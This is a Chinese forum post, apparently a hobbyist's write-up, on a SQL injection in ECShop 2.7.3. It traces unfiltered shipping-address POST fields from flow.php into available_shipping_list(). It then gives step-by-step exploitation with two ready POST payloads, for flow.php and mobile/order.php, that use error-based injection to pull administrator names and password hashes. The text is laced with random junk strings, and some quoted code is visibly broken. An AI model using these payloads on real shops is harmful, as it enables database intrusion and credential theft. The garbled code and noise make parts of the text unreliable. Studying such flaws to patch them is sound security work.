前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。 b) X6 y' v3 Q6 A& n' ?4 y+ w
0 {8 b: r) Y1 Z" B5 W7 v2 s 漏洞关键文件:/ t, t9 S+ b( e. B- W
$ t. c8 f- {3 F7 r* G /includes/lib_order.php
. Q8 u4 u4 n+ B- D! S r7 W! G6 I8 B! x' ?- U$ E0 n; B
关键函数:
: \% g! @% o4 j4 P8 Z8 r7 w/ ?& s% [/ g3 o2 K4 g3 d! w
! M5 n/ z; N# S
( I- i( C0 ~# h
01 function available_shipping_list($region_id_list) 3 X# \ w5 j# M: [5 _
+ W- W+ l; C6 Y' b8 @9 j02 { 8 R2 U/ L1 ^, g& _
" ?4 H$ h/ v% |
03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
( g; W$ q: c* e E2 ^- V/ Y" A2 l2 ?2 X5 M N* v
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
. P$ o' {" U! i8 ^" R' t- h
9 M" w ~" V+ B& A6 h6 J# m# d05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . 1 G; y" y# V8 X" z. Z7 \! |
) x& Z) I2 `: S" s, f: z06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
' a% |! @$ C: M" k: ^% @0 r5 D7 {) G: E. h+ e
07 $GLOBALS['ecs']->table('area_region') . ' AS r '. " T! J7 u' r9 t" o" f4 Z% q1 P
1 o3 _+ s1 Y- c: p- h
08 'WHERE r.region_id ' . db_create_in($region_id_list) . / c( C6 P) @* @5 @. g9 c% n
4 O+ D2 @8 l @6 T7 X5 \) ~. a
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
7 w5 m& r: n5 ^
# R' g t+ n2 b% b7 d7 p9 s10
5 J! q3 w2 ] a8 U& x/ D4 G' b8 Z* l8 {3 G f
11 return $GLOBALS['db']->getAll($sql);
9 w7 f' V$ b* Y Z
! Y; _, i! \' ~$ {12 } + o F) l; e7 R& F- V3 p
( }9 g$ s8 x! ]
显然对传入的参数没有任何过滤就带入了查询语句。
2 t- ]6 G$ B6 M! G F 0 G) U, o: M/ Y+ _ R
下面我们追踪这个函数在flow.php中:- v5 o$ N7 Z- K$ T# \' b M% ?
第531行: * r |$ q" ^' s
. ]% h. B6 ^$ K5 x- ]" [# d" j$ P1 $shipping_list = available_shipping_list($region); & f4 ]1 G& N- ~. a" `
% B F. `( R+ e- P- N
N0 `5 L4 d8 g7 A: L7 q; M3 R2 J6 K; s0 ]
* \5 B, N( V7 ]/ P/ W, n" y h; }/ Z N3 j* `8 @
再对传入变量进行追踪:, y* l5 P# J. l4 Q
7 }3 W6 q/ X" H. \* X第530行: / a6 }* E0 a! P! ~
9 e/ d4 T# c) F. x; i$ V
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); 0 j3 f6 y& ~) j( G" V ^- O
j# }% T s1 T" d
- f8 Q0 _8 \, z; }: n, p2 |5 P7 N- F& J; z
0 |% M# z# n" s
5 h0 D0 T& R- p' N5 I+ T
第473行: t1 R/ o9 \& j8 ^3 l2 Y
1 T9 t( n) |# N+ q5 y# }" r1 \
1 $consignee = get_consignee($_SESSION['user_id']);
$ j$ s& m* W# \* p, d4 R& V# v0 N2 z+ {" c
到了一个关键函数:; X, b2 l/ O5 x5 @# M% b
- C6 o+ t( |# Z2 k/includes/lib_order.php
# z1 L9 L# w2 ^8 H; a+ i$ z3 T& A
) z% E0 W) C) [8 s R- ?9 M& Y/ I9 c6 W9 {1 x
' r. P6 O3 s! o- }
2 L) K# j N1 ~0 S+ V& x01 function get_consignee($user_id)
. E4 D R/ d ]% s8 F; x; M& z* H; P
02 {
e, W2 T8 n, v+ S% o( n: F y! P4 R+ v/ @
03 if (isset($_SESSION['flow_consignee']))
5 L2 F; C3 M- @! T2 `5 E4 s+ N
1 @& v6 u2 B/ z' E" v3 |& ]1 w% ^04 {
2 c( t0 O* y1 U( |0 [* \/ L
0 e# \* A( ^/ \7 e: e05 /* 如果存在session,则直接返回session中的收货人信息 */ ( |# ]$ O$ K8 ^4 I/ M4 |! X
% c0 j6 w% f6 P6 N) M& u
06
; y6 Y" H3 X- `. e5 L) I% P# W! f1 h) O
07 return $_SESSION['flow_consignee']; ) m6 W! F# ?8 n0 X: c: I& ^9 h4 ?
- g* N# W0 m* w/ {08 } ( r% u1 @0 G# v: o4 B( K
% s) P; }7 f6 f/ U, {: G N/ {, i09 else
# w% s% U- i; j9 }: H; s7 Y/ Q0 w. ?8 B7 V7 V+ N* G( P) H
10 {
" x; G1 F, t' p) l4 [5 p
s% c# r) U* n8 a11 /* 如果不存在,则取得用户的默认收货人信息 */
( h2 w7 V4 f8 u7 t% ]# m
1 w$ P) P! k Z- O j1 E( V& O, W12 $arr = array();
5 v) Y, \% g0 u9 B; Z. W) j+ r( M3 K; W+ A }
13
( a7 \0 d( F" D" k& s; v
+ w- N$ E8 S! W# c) Z7 H14 if ($user_id > 0)
. ^1 y* P3 T# D1 u, [ s+ G
- m) S: _, j2 S5 x5 f9 j15 {
4 L" d# _& J, K3 r) ^ M- Q W) W+ {. {% L+ x6 t# s2 I
16 /* 取默认地址 */
! N* a- z8 h6 k" M% V
. t4 m5 N2 e. c17 $sql = "SELECT ua.*". " b- F* N; [) ?4 D* u
5 ^1 ~2 n5 C' g. ^, U" y18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. ; D4 V5 y- z- A- S7 j, y! P
! B' {* y/ V/ d4 N% H19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
* E& [8 s' L/ n8 Y: }' K; u, d# n* J" l
20
4 O! v# t( h8 l& n8 z; k9 R* ^2 w! S, K! x( _1 M
21 $arr = $GLOBALS['db']->getRow($sql); 4 p% y' ]1 o+ a) ~# _# t
9 R* A5 f2 O7 C7 c
22 } ) {! m5 q. A5 Z! G) q
% y5 f/ g X9 S4 ~% I0 k
23 ) l: t) A+ j3 Y5 t- @6 Z
+ W" z* M P5 q8 }) |24 return $arr; # k- Y- D; ]5 \: Y
# o$ t, b6 J6 Z2 V
25 }
( a0 t& @/ z6 m4 q. s' F \: C; a4 a9 q; H2 ^5 ]& L6 K2 F. E
26 }
- m3 u4 L* R* x G* G
$ E! E# H! T( F$ K1 p2 l( Q6 }显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
% ]' F+ Y9 {7 |$ ]: i) k( j# a) r
8 t& \5 k8 T3 a! N1 R8 l : t, X `# C2 D4 [ r
( |4 ^, Y* M, }" A, |& I C. B关键点:0 I' p& F R& k) J2 A- ^% k
7 R# R9 x H; g1 [第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
+ C* ^) R# ?) M1 N. P
4 P' Y" V6 s' S3 }这里对传入参数反转义存入$_SESSION中。) ]5 s. [! h. X' w4 M2 X0 N
/ ~0 x) ]. c) v$ k, G. S ! @0 \) ]( H; @$ a. f
# F$ j! Z* r# X9 a% B+ ~+ J然后看下:; k- M& s8 r$ u/ s9 R& e% V
# h9 G" E0 g& Z* u
% f& W0 U( |& Q: `$ e9 W& n0 J3 m- z- |# K# ~- X
- @! A1 w( a& e" H3 D
8 v+ K- o% N m# N W01 $consignee = array(
5 j& o8 Z) a: }. D- V2 {. d S: m# ^/ A5 e' D( D1 k z5 ^3 ?
02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']), ) }( n4 Q/ H) g- }! {) a
, z) N$ k* S1 R7 Q
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
' z' H1 v6 G0 B5 k* R4 n3 Z( n/ M) R% X7 b
04 'country' => empty($_POST['country']) ? '' _POST['country'],
9 f3 n, t: h! { J
3 y/ \- H; t4 X6 ~05 'province' => empty($_POST['province']) ? '' _POST['province'],
/ X/ a: g9 P5 K+ A" d2 y `$ P* o! v: K9 E
06 'city' => empty($_POST['city']) ? '' _POST['city'],
4 q9 U& k( c9 B0 A B! ]
2 |% F: F0 K& ^( |/ `07 'district' => empty($_POST['district']) ? '' _POST['district'], ) q" a1 j* f. z- y k) o4 P- y* g
& c% w6 Z. y1 f8 H08 'email' => empty($_POST['email']) ? '' _POST['email'],
) | a8 n. J+ _( p# ?0 O+ q' ]- v
! L; I+ L s; n6 ^) Q; \/ c09 'address' => empty($_POST['address']) ? '' _POST['address'], 9 |7 S, p( Q. e f6 \9 b
5 U. g3 S% I u) Z- R' Y) q; S10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])), % m) {' ]! H7 m0 K+ ]* x5 C* A
- |) `+ s ?3 q z) H+ n* Z11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])),
6 y' x( \# ~- G; A2 T" ]
8 J+ s, d% }) T% m, _. F- A12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])), ' @9 o% C; t' b0 \" t
$ r3 @/ T1 ~4 A+ H' }' d/ L13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], ) b" D; w! d* o& x* D/ ~* ?/ V- t4 Y
! @' K' Z8 b7 S/ b. e5 `14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], / y5 ?& S( F- m/ m* q x% B
% T4 t& @& v0 {9 |! b
15 );
# ~6 e4 x/ s+ u: ^, O6 x6 G$ I& M9 B
好了注入就这样出现了。
# W: E2 `0 L S3 w/ t$ U5 Q& u
7 R/ _. a( R- v==================
) d' q# |# E$ |% Q0 N) v8 M$ g2 V6 q( S3 T' V
注入测试:3 b1 k/ ]. D' m& F% \0 ^
+ a2 D9 Y( v( v P) t4 Z
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)% q$ l$ G! v5 S& a! _6 {" c$ b
* ]+ R) M1 M% ~" l7 s测试程序:ECShop_V2.7.3_UTF8_release1106/ g# E+ r w" K2 G. B: g
r* J/ G7 b+ i# A" P6 t8 L
& v# F4 W( n4 b& e
) x& n, P% y# f% F8 ^" S1.首先需要点击一个商品加入购物车$ y- p9 c( M, X" b' b1 T8 b
% p1 f7 X% m3 C5 V& n3 ?
2.注册一个会员帐号
' Q6 z- x* r1 B1 \3 x6 p o0 G/ E4 h. C. c
3.post提交数据1 I" e$ m/ g- |. }- i) b
/ I8 G8 G8 ~1 b" ^) E . D% ]; j. G" x1 M& I. Q6 v: D3 V# [
* z% x; S0 N0 D7 O3 m4 k1 http://127.0.0.1/ecshop/flow.php
# ~; `: \3 N* ]$ y8 e9 y9 }) a1 v$ J) X9 ^
2 9 e/ I- v! V& w
0 Z9 g9 y- B, t' Z' Y3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
: G' o6 h3 n7 `. F1 i举一反三,我们根据这个漏洞我们可以继续深入挖掘:7 e$ b. i4 W) d8 ?: ~
& e) D8 o* Q' T1 n我们搜寻关键函数function available_shipping_list()
|( ]& z3 R4 t |- }
) ^4 j7 R5 v1 S5 ?5 \2 n$ u在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同) m; H5 X1 h- a- l4 ~+ H
: Z( }! {2 _7 v( J* R+ k
利用exp:
8 t/ j) w) C/ l
' n2 s$ u7 h& H0 @( h: e `1.点击一个商品,点击购买商标3 y4 ]( J, i0 _. b1 ?
B5 v& q/ j' d' a, c2.登录会员帐号
U( {6 |' Q. | g& x( ~* p4 ^& {2 Y8 R* ~9 P5 }
3.post提交:
) X: ~! [+ R7 Q' x. t6 E. a: } F3 D0 a$ B" \1 \
http://127.0.0.1/ecshop/mobile/order.php
, Q2 M, f! [, o: v$ `' L; E
7 B7 _) m, V. [8 J6 H+ g I- q: | ! T; y( B# z, x( B, x3 a7 m
2 w, R4 h8 q# y, h( x9 [- Lcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
4 z+ K L# F& u/ `4 z
6 c2 E" ~* X) `* i# Z, C0 o |